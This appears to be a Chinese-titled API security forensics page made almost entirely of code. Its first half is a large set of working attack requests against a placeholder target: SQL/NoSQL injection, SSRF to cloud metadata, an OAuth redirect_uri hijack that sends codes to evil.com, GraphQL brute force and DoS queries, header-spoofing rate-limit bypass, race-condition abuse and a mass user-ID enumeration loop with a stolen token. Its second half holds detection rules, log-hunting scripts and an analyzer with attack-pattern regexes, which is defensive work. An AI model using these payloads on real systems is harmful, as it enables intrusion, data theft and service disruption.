API安全事件取证深度分析

curl -s -o /dev/null -w "%{http_code}" \
  "https://api.target.com/v1/users/1001" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..." \
  -H "Content-Type: application/json" \
  -d '{"name":"test","role":"user","admin":true}'

curl -s "https://api.target.com/v1/orders?user_id=1001%20OR%201=1" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..."

curl -s "https://api.target.com/v1/search?q=product';db.users.drop();--" \
  -H "Content-Type: application/json"

curl -s "https://api.target.com/v1/webhook" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/"}'

curl -X OPTIONS "https://api.target.com/v1/admin/users" \
  -H "Origin: https://evil.com" \
  -v 2>&1 | grep -i "allow\|access-control"

curl -X PUT "https://api.target.com/v1/users/1001" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..." \
  -H "Content-Type: application/json" \
  -d '{"role":"admin","email":"attacker@evil.com"}'

curl -X DELETE "https://api.target.com/v1/users/1002" \
  -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs..."

for version in v1 v2 v3; do
  status=$(curl -s -o /dev/null -w "%{http_code}" \
    "https://api.target.com/$version/admin/config" \
    -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIs...")
  echo "Version $version: HTTP $status"
done

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    subscriptionType { name }
    types {
      name
      kind
      fields {
        name
        type {
          name
          kind
          ofType { name kind }
        }
        args {
          name
          type { name kind }
        }
      }
    }
    directives {
      name
      locations
      args { name type { name } }
    }
  }
}

query DeepNestingAttack {
  users {
    orders {
      items {
        reviews {
          author {
            orders {
              items {
                reviews {
                  author {
                    email
                    passwordHash
                  }
                }
              }
            }
          }
        }
      }
    }
  }
}

[
  {"query":"mutation{login(username:\"admin\",password:\"pass1\"){token}}"},
  {"query":"mutation{login(username:\"admin\",password:\"pass2\"){token}}"},
  {"query":"mutation{login(username:\"admin\",password:\"pass3\"){token}}"},
  {"query":"mutation{login(username:\"admin\",password:\"pass4\"){token}}"},
  {"query":"mutation{login(username:\"admin\",password:\"pass5\"){token}}"}
]

query NoSQLInjection {
  user(filter: "{\"username\":{\"$ne\":\"\"},\"password\":{\"$regex\":\"^a.*\"}}") {
    id
    username
    email
    role
  }
}

query IDORviaGraphQL {
  user(id: "1002") {
    ssn
    creditCard {
      number
      expiry
    }
    medicalRecords {
      diagnosis
      prescriptions
    }
  }
}

syntax = "proto3";
package api.v1;

message UserRequest {
  int64 user_id = 1;
  string action = 2;
  string auth_token = 3;
}

message AdminOverride {
  int64 user_id = 1;
  bool is_admin = 2;
  string override_reason = 3;
}

syntax = "proto2";
package exploit;

message MalformedPayload {
  required string normal_field = 1;
  optional int64 hidden_field = 2147483647;
  repeated bytes overflow_field = 3;
}

grpcurl -plaintext localhost:50051 list

grpcurl -plaintext localhost:50051 describe api.v1.UserService

grpcurl -plaintext localhost:50051 describe api.v1.GetUserRequest

grpcurl -plaintext -d '{"user_id":1001}' \
  localhost:50051 api.v1.UserService/GetUser

grpcurl -plaintext -d '{"user_id":1001,"is_admin":true}' \
  localhost:50051 api.v1.UserService/UpdateRole

import grpc
import api_pb2
import api_pb2_grpc

channel = grpc.secure_channel('api.target.com:443', credentials)
stub = api_pb2_grpc.UserServiceStub(channel)

metadata = [
    ('authorization', 'Bearer stolen_jwt_token'),
    ('x-forwarded-for', '127.0.0.1'),
    ('x-request-id', 'forge-trace-id'),
    ('x-real-ip', '10.0.0.1'),
]

request = api_pb2.GetUserRequest(user_id=1001)
response = stub.GetUser(request, metadata=metadata)

import jwt
import base64
import json

stolen_token = "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMDAxIiwicm9sZSI6ImFkbWluIiwiaWF0IjoxNjkwMDAwMDAwfQ.illegal_signature"

parts = stolen_token.split('.')
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))

print(f"Algorithm: {header.get('alg')}")
print(f"Subject: {payload.get('sub')}")
print(f"Role: {payload.get('role')}")
print(f"Issued At: {payload.get('iat')}")

curl -v "https://auth.target.com/authorize?\
response_type=code&\
client_id=legitimate_client_id&\
redirect_uri=https://evil.com/callback&\
scope=openid%20profile%20email&\
state=attacker_controlled_state"

curl -X POST "https://auth.target.com/token" \
  -d "grant_type=authorization_code&\
code=stolen_auth_code&\
redirect_uri=https://evil.com/callback&\
client_id=legitimate_client_id&\
client_secret=leaked_secret"

curl -s "https://api.github.com/search/code?q=api_key+repo:target/*" \
  -H "Accept: application/vnd.github.v3+json"

curl -s "https://api.target.com/v1/usage?api_key=sk_live_COMPROMISED_KEY_123" \
  -H "Content-Type: application/json"

for i in $(seq 1 10000); do
  curl -s -o /dev/null -w "%{http_code},%{time_total}\n" \
    "https://api.target.com/v1/search?q=*&filter[complex_regex]=.*.*.*&include=deep_nested_relation" \
    -H "Authorization: Bearer valid_token" &
  if (( i % 100 == 0 )); then
    wait
    echo "Completed $i requests"
  fi
done

curl -s "https://api.target.com/v1/sensitive-endpoint" \
  -H "Authorization: Bearer token" \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "CF-Connecting-IP: 127.0.0.1" \
  -H "X-Real-IP: 127.0.0.1" \
  -w "Status: %{http_code}, RateLimit: %{header_json}" \
  -o /dev/null

for i in $(seq 1 500); do
  curl -s -o /dev/null \
    "https://api.target.com/v1/data" \
    -H "Authorization: Bearer token" &
done
wait
echo "Rate limit test completed"

curl -s -X POST "https://api.target.com/v1/orders" \
  -H "Authorization: Bearer token" \
  -H "Content-Type: application/json" \
  -d '{"product_id":"P1001","quantity":1,"price":0.01,"discount_code":"LEGITIMATE_CODE"}'

for i in $(seq 1 50); do
  curl -s -X POST "https://api.target.com/v1/points/redeem" \
    -H "Authorization: Bearer token" \
    -H "Content-Type: application/json" \
    -d '{"reward_id":"R500","points":1000}' &
done
wait

curl -s "https://api.target.com/v1/users/me/balance" \
  -H "Authorization: Bearer token"

for id in $(seq 1 100000); do
  response=$(curl -s "https://api.target.com/v1/users/$id" \
    -H "Authorization: Bearer stolen_token")
  echo "$response" >> extracted_users.json
  sleep 0.1
done

curl -s -X POST "https://api.target.com/v1/webhooks" \
  -H "Authorization: Bearer token" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://169.254.169.254/latest/meta-data/iam/security-credentials/","events":["*"]}'

curl -s -X POST "https://api.target.com/v1/webhooks" \
  -H "Authorization: Bearer token" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://[::ffff:169.254.169.254]/latest/meta-data/","events":["*"]}'

curl -s -X POST "https://api.target.com/v1/webhooks" \
  -H "Authorization: Bearer token" \
  -H "Content-Type: application/json" \
  -d '{"url":"http://127.0.0.1:6379/","events":["*"]}'

cat /var/log/nginx/access.log | \
  jq -r 'select(.request_uri | test("admin|config|debug|health")) | 
  {time: .time_local, ip: .remote_addr, method: .request_method, 
   uri: .request_uri, status: .status}' | \
  jq -s 'group_by(.uri) | map({uri: .[0].uri, count: length, 
  unique_ips: (map(.ip) | unique | length)})'

cat /var/log/kong/access.log | \
  jq 'select(.plugins.applied | contains(["rate-limiting"]))' | \
  jq -s 'group_by(.client_ip) | 
  map({ip: .[0].client_ip, total_requests: length})' | \
  jq 'sort_by(-.total_requests) | .[:20]'

grep -i "waf\|blocked\|denied" /var/log/nginx/error.log | \
  awk '{print $1, $2, $NF}' | \
  sort | uniq -c | sort -rn | head -20

grep "ModSecurity" /var/log/apache2/error.log | \
  grep -oP 'id "\K[^"]+' | \
  sort | uniq -c | sort -rn | head -20

cat /var/log/aws-waf/waf.log | \
  jq 'select(.terminatingRuleId != null) | 
  {rule: .terminatingRuleId, action: .terminatingRuleAction, 
   ip: .httpRequest.clientIp}' | \
  jq -s 'group_by(.rule) | 
  map({rule: .[0].rule, hits: length, 
  unique_ips: (map(.ip) | unique | length)})'

#!/bin/bash
REQUEST_ID="$1"
echo "=== API Call Chain Reconstruction ==="
echo "Request ID: $REQUEST_ID"
echo ""
echo "--- Gateway Layer ---"
grep "$REQUEST_ID" /var/log/nginx/access.log | \
  jq '{time: .time_local, upstream: .upstream_addr, 
  status: .status, latency: .request_time}'
echo ""
echo "--- Service Layer ---"
grep "$REQUEST_ID" /var/log/services/*/access.log | \
  jq -c '{service: input_filename, time: .timestamp, 
  handler: .handler, status: .status}'
echo ""
echo "--- Database Layer ---"
grep "$REQUEST_ID" /var/log/mysql/slow.log | \
  awk '/Query_time/{print}'
echo ""
echo "--- Auth Layer ---"
grep "$REQUEST_ID" /var/log/auth-service/access.log | \
  jq '{time: .timestamp, action: .action, result: .result}'

curl -s "http://jaeger:16686/api/traces?service=api-gateway&limit=100" | \
  jq '[.data[] | select(.spans[] | 
  select(.tags | map(select(.key == "http.status_code" and 
  .value >= 400)) | length > 0))] | 
  map({traceID: .traceID, 
  spans: [.spans[] | {operation: .operationName, 
  duration: .duration}]})'

curl -s "http://jaeger:16686/api/traces?service=api-gateway&limit=50" | \
  jq '[.data[] | .spans[] | 
  select(.tags | map(select(.key == "http.target" and 
  (.value | test("admin|config|internal"))) | length > 0))] | 
  map({traceID: .traceID, operation: .operationName, 
  target: (.tags[] | select(.key == "http.target") | .value)})'

title: API BOLA IDOR Attack Detection
id: 7a8f3e21-4b5c-4d6e-8f9a-0b1c2d3e4f5a
status: stable
description: Detects potential BOLA/IDOR attacks based on sequential or patterned resource access
author: x7peeps-forensics
date: 2026-07-16
modified: 2026-07-16
tags:
  - attack.bola
  - attack.idor
  - attack.initial_access
  - attack.t1213
logsource:
  product: api_gateway
  service: access_log
detection:
  selection_status:
    status: 200
  selection_uri_pattern:
    uri|re: '/api/v[0-9]+/(users|accounts|orders|profiles|documents)/[0-9]+'
  selection_high_frequency:
    timestamp|re: '.*'
  condition: selection_status and selection_uri_pattern and selection_high_frequency
  timeframe: 1m
  count(uri) by source_ip > 50
level: high
falsepositives:
  - Legitimate batch processing applications
  - Automated testing frameworks
  - Monitoring and health check services
---
title: API GraphQL Introspection Attempt
id: 9b2c4d6e-8f0a-1b3c-5d7e-9f1a2b3c4d5e
status: stable
description: Detects GraphQL introspection queries in production environments
author: x7peeps-forensics
date: 2026-07-16
tags:
  - attack.discovery
  - attack.t1592
logsource:
  product: api_gateway
  service: access_log
detection:
  selection_introspection:
    request_body|contains:
      - '__schema'
      - '__type'
      - 'IntrospectionQuery'
      - 'query Introspection'
  selection_method:
    method: POST
  condition: selection_introspection and selection_method
level: medium
falsepositives:
  - Legitimate GraphQL development tools
  - API documentation generators
---
title: API JWT Algorithm Manipulation
id: 5e6f7a8b-9c0d-1e2f-3a4b-5c6d7e8f9a0b
status: stable
description: Detects JWT tokens with suspicious algorithm configurations
author: x7peeps-forensics
date: 2026-07-16
tags:
  - attack.credential_access
  - attack.t1550
logsource:
  product: api_gateway
  service: access_log
detection:
  selection_jwt_header:
    auth_header|re: 'Bearer eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.'
  selection_alg_none:
    auth_header|contains: 'Im5vbmUi'
  selection_alg_hmac:
    auth_header|contains: 'ImhTMjU2Ig=='
  condition: selection_jwt_header and (selection_alg_none or selection_alg_hmac)
level: critical
falsepositives:
  - None expected in production environments
---
title: API Rate Limit Bypass via Header Spoofing
id: 1a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: stable
description: Detects potential rate limit bypass attempts using IP spoofing headers
author: x7peeps-forensics
date: 2026-07-16
tags:
  - attack.defense_evasion
  - attack.t1036
logsource:
  product: api_gateway
  service: access_log
detection:
  selection_headers:
    header_x_forwarded_for|contains: '127.0.0.1'
    header_x_real_ip|contains: '127.0.0.1'
    header_x_forwarded_for|contains: 'localhost'
  selection_internal_ip:
    source_ip|startswith: '10.'
    source_ip|startswith: '172.16.'
    source_ip|startswith: '192.168.'
  condition: selection_headers and selection_internal_ip
level: high
falsepositives:
  - Legitimate internal service communication
  - Load balancer health checks

#!/bin/bash
LOG_FILE="${1:-/var/log/nginx/access.log}"
REPORT_DIR="/tmp/api_hunt_$(date +%Y%m%d_%H%M%S)"
mkdir -p "$REPORT_DIR"

echo "[*] API Security Hunt Report: $(date)"
echo "[*] Target Log: $LOG_FILE"
echo "[*] Output: $REPORT_DIR"
echo ""

echo "[+] Top 20 IPs by request count:"
jq -r '.remote_addr' "$LOG_FILE" | \
  sort | uniq -c | sort -rn | head -20 > "$REPORT_DIR/top_ips.txt"
cat "$REPORT_DIR/top_ips.txt"
echo ""

echo "[+] Suspicious HTTP Methods:"
jq -r 'select(.request_method | test("PUT|DELETE|PATCH|OPTIONS|TRACE")) |
  {ip: .remote_addr, method: .request_method, uri: .request_uri, 
   status: .status}' "$LOG_FILE" | \
  jq -s 'group_by(.method) | 
  map({method: .[0].method, count: length, 
  unique_ips: (map(.ip) | unique | length)})' \
  > "$REPORT_DIR/suspicious_methods.json"
cat "$REPORT_DIR/suspicious_methods.json" | jq '.'
echo ""

echo "[+] Potential SQL Injection Attempts:"
jq -r 'select(.request_uri | test("(union|select|drop|insert|update|
delete|script|eval|exec|etc/passwd)"; "i")) |
  {time: .time_local, ip: .remote_addr, uri: .request_uri}' \
  "$LOG_FILE" > "$REPORT_DIR/sqli_attempts.json"
cat "$REPORT_DIR/sqli_attempts.json" | jq '.' | head -50
echo ""

echo "[+] Potential BOLA/IDOR Patterns:"
jq -r 'select(.request_uri | 
  test("/(users|accounts|orders|profiles)/[0-9]+")) |
  {time: .time_local, ip: .remote_addr, uri: .request_uri, 
   status: .status}' "$LOG_FILE" | \
  jq -s 'group_by(.ip) | 
  map({ip: .[0].ip, total: length, 
  unique_resources: (map(.uri) | unique | length)}) | 
  sort_by(-.unique_resources)' > "$REPORT_DIR/bola_patterns.json"
cat "$REPORT_DIR/bOLA_patterns.json" 2>/dev/null | jq '.[:10]'
echo ""

echo "[+] 4xx/5xx Error Analysis:"
jq -r 'select(.status >= 400) |
  {status: .status, uri: .request_uri, ip: .remote_addr}' \
  "$LOG_FILE" | \
  jq -s 'group_by(.status) | 
  map({status: .[0].status, count: length, 
  sample_uris: (map(.uri) | unique | .[:5])})' \
  > "$REPORT_DIR/error_analysis.json"
cat "$REPORT_DIR/error_analysis.json" | jq '.'
echo ""

echo "[+] High-Frequency Endpoints (potential scraping):"
jq -r '.request_uri' "$LOG_FILE" | \
  sed 's/\?[^ ]*//' | \
  sort | uniq -c | sort -rn | head -20 \
  > "$REPORT_DIR/high_freq_endpoints.txt"
cat "$REPORT_DIR/high_freq_endpoints.txt"
echo ""

echo "[+] Requests per minute timeline:"
jq -r '.time_local' "$LOG_FILE" | \
  cut -d: -f1,2,3 | sort | uniq -c | sort -k2 \
  > "$REPORT_DIR/requests_timeline.txt"
tail -20 "$REPORT_DIR/requests_timeline.txt"
echo ""

echo "[*] Hunt complete. Reports saved to: $REPORT_DIR"

import json
import sys
import re
from collections import defaultdict, Counter
from datetime import datetime, timedelta
from urllib.parse import urlparse, parse_qs


class APISecurityAnalyzer:
    def __init__(self, log_file):
        self.log_file = log_file
        self.logs = []
        self.findings = []
        self.load_logs()

    def load_logs(self):
        with open(self.log_file, 'r') as f:
            for line in f:
                try:
                    entry = json.loads(line.strip())
                    self.logs.append(entry)
                except json.JSONDecodeError:
                    continue

    def detect_bola_patterns(self, threshold=50, window_seconds=60):
        ip_resources = defaultdict(lambda: defaultdict(list))
        for log in self.logs:
            ip = log.get('remote_addr', '')
            uri = log.get('request_uri', '')
            timestamp = log.get('time_local', '')
            resource_match = re.search(
                r'/(users|accounts|orders|profiles|documents)/(\d+)', uri
            )
            if resource_match:
                resource_type = resource_match.group(1)
                resource_id = resource_match.group(2)
                ip_resources[ip][resource_type].append({
                    'id': resource_id,
                    'time': timestamp,
                    'status': log.get('status', 0)
                })
        for ip, resources in ip_resources.items():
            for rtype, accesses in resources.items():
                unique_ids = set(a['id'] for a in accesses)
                if len(unique_ids) >= threshold:
                    self.findings.append({
                        'type': 'BOLA_IDOR',
                        'severity': 'HIGH',
                        'ip': ip,
                        'resource': rtype,
                        'unique_ids_accessed': len(unique_ids),
                        'total_requests': len(accesses),
                        'id_range': f"{min(unique_ids)}-{max(unique_ids)}"
                    })

    def detect_injection_attempts(self):
        injection_patterns = [
            (r"(\bunion\b.*\bselect\b|\bselect\b.*\bfrom\b)", "SQL Injection"),
            (r"(<script|javascript:|on\w+\s*=)", "XSS"),
            (r"(\.\.\/|\.\.\\|%2e%2e%2f)", "Path Traversal"),
            (r"(\/etc\/passwd|\/etc\/shadow|cmd\.exe)", "Command Injection"),
            (r"(\bexec\b|\beval\b|\bsystem\b)", "Code Injection"),
            (r"(169\.254\.169\.254|metadata\.google|169\.254\.169\.)", "SSRF"),
            (r"(__schema|__type|Introspection)", "GraphQL Introspection"),
        ]
        for log in self.logs:
            uri = log.get('request_uri', '')
            body = log.get('request_body', '')
            combined = f"{uri} {body}"
            for pattern, attack_type in injection_patterns:
                if re.search(pattern, combined, re.IGNORECASE):
                    self.findings.append({
                        'type': attack_type,
                        'severity': 'CRITICAL',
                        'ip': log.get('remote_addr', ''),
                        'uri': uri,
                        'method': log.get('request_method', ''),
                        'status': log.get('status', 0),
                        'timestamp': log.get('time_local', '')
                    })

    def detect_brute_force(self, threshold=20, window_minutes=5):
        login_attempts = defaultdict(list)
        for log in self.logs:
            uri = log.get('request_uri', '')
            method = log.get('request_method', '')
            if ('/login' in uri or '/auth' in uri) and method == 'POST':
                ip = log.get('remote_addr', '')
                login_attempts[ip].append({
                    'time': log.get('time_local', ''),
                    'status': log.get('status', 0)
                })
        for ip, attempts in login_attempts.items():
            failed = [a for a in attempts if a['status'] in (401, 403)]
            if len(failed) >= threshold:
                self.findings.append({
                    'type': 'BRUTE_FORCE',
                    'severity': 'HIGH',
                    'ip': ip,
                    'failed_attempts': len(failed),
                    'total_attempts': len(attempts),
                    'success_rate': f"{(len(attempts) - len(failed)) / len(attempts) * 100:.1f}%"
                })

    def detect_scraping_patterns(self, max_requests_per_minute=60):
        ip_timeline = defaultdict(list)
        for log in self.logs:
            ip = log.get('remote_addr', '')
            timestamp = log.get('time_local', '')
            ip_timeline[ip].append(timestamp)
        for ip, timestamps in ip_timeline.items():
            minute_counts = Counter()
            for ts in timestamps:
                try:
                    dt = datetime.strptime(ts, '%d/%b/%Y:%H:%M:%S %z')
                    minute_key = dt.strftime('%Y-%m-%d %H:%M')
                    minute_counts[minute_key] += 1
                except ValueError:
                    continue
            for minute, count in minute_counts.items():
                if count >= max_requests_per_minute:
                    self.findings.append({
                        'type': 'SCRAPING',
                        'severity': 'MEDIUM',
                        'ip': ip,
                        'peak_minute': minute,
                        'requests_in_minute': count
                    })
                    break

    def detect_rate_limit_bypass(self):
        spoofed_headers = ['x-forwarded-for', 'x-real-ip', 
                          'x-originating-ip', 'cf-connecting-ip']
        for log in self.logs:
            for header in spoofed_headers:
                value = log.get(header, '')
                if value and value in ('127.0.0.1', 'localhost', 
                                       '::1', '0.0.0.0'):
                    self.findings.append({
                        'type': 'RATE_LIMIT_BYPASS',
                        'severity': 'MEDIUM',
                        'ip': log.get('remote_addr', ''),
                        'header': header,
                        'spoofed_value': value,
                        'uri': log.get('request_uri', ''),
                    })

    def generate_report(self):
        report = {
            'total_logs_analyzed': len(self.logs),
            'total_findings': len(self.findings),
            'severity_breakdown': Counter(
                f['severity'] for f in self.findings
            ),
            'type_breakdown': Counter(f['type'] for f in self.findings),
            'findings': self.findings
        }
        return report

    def print_report(self, report):
        print(f"\n{'='*60}")
        print(f"  API Security Analysis Report")
        print(f"{'='*60}")
        print(f"  Total logs analyzed: {report['total_logs_analyzed']}")
        print(f"  Total findings: {report['total_findings']}")
        print(f"\n  Severity Breakdown:")
        for severity, count in report['severity_breakdown'].items():
            print(f"    {severity}: {count}")
        print(f"\n  Attack Type Breakdown:")
        for attack_type, count in report['type_breakdown'].items():
            print(f"    {attack_type}: {count}")
        print(f"\n  {'='*60}")
        print(f"  Detailed Findings:")
        print(f"  {'='*60}")
        for i, finding in enumerate(report['findings'], 1):
            print(f"\n  [{i}] {finding['type']} ({finding['severity']})")
            for key, value in finding.items():
                if key not in ('type', 'severity'):
                    print(f"      {key}: {value}")


if __name__ == '__main__':
    if len(sys.argv) < 2:
        print(f"Usage: python {sys.argv[0]} <nginx_access_log.json>")
        sys.exit(1)
    analyzer = APISecurityAnalyzer(sys.argv[1])
    analyzer.detect_bola_patterns()
    analyzer.detect_injection_attempts()
    analyzer.detect_brute_force()
    analyzer.detect_scraping_patterns()
    analyzer.detect_rate_limit_bypass()
    report = analyzer.generate_report()
    analyzer.print_report(report)